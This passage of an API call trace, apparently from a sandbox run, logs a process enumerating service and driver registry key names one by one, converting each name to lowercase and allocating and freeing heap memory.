lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0247.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1970, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0247.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.778] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0247.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0247.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.778] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f18e0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0247.778] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.778] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.778] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0247.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0247.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1970, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0247.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.779] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0247.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0247.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0247.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.779] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0247.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0247.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.779] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.779] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0247.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.779] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.779] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0247.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.780] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0247.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0247.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.780] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0247.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0247.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f18e0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0247.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.780] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0247.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.780] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0247.780] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.780] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.780] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0247.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0247.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.781] RegEnumKeyW (in: hKey=0x154, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0247.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0247.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.781] RegEnumKeyW (in: hKey=0x154, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0247.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0247.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.781] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.781] RegEnumKeyW (in: hKey=0x154, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0247.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.781] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.781] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1970, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0247.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.782] RegEnumKeyW (in: hKey=0x154, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0247.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0247.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.782] RegEnumKeyW (in: hKey=0x154, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0247.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0247.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.782] RegEnumKeyW (in: hKey=0x154, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0247.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0247.782] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.782] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.782] RegEnumKeyW (in: hKey=0x154, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0247.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0247.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.783] RegEnumKeyW (in: hKey=0x154, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0247.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0247.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.783] RegEnumKeyW (in: hKey=0x154, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0247.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0247.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.783] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.783] RegEnumKeyW (in: hKey=0x154, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0247.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.783] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.783] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0247.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.784] RegEnumKeyW (in: hKey=0x154, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0247.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0247.784] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0247.784] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0247.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0247.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0247.784] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 